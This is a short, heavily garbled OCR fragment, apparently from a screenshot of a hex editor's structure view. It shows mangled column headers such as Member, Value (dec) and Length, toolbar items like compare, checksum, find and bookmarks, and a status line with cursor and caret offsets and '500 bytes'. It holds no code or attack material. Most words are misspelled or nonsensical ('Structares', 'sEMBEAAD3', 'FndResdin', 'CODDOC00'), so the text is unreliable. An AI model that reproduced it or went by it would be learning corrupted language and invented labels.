% Structares V@ sEMBEAAD3 32 | FndResdin TIEE S
* | Member ) Value (dec) 2 e thes) Sae W) * | e W Length B Length &)

BJ B compare | 1§ checmm  f Frnd | 4 sockmaris | (B cumue |

Curson 0COMEE  Caret: CODDOC00 500 bytes OV MOD FEAD.
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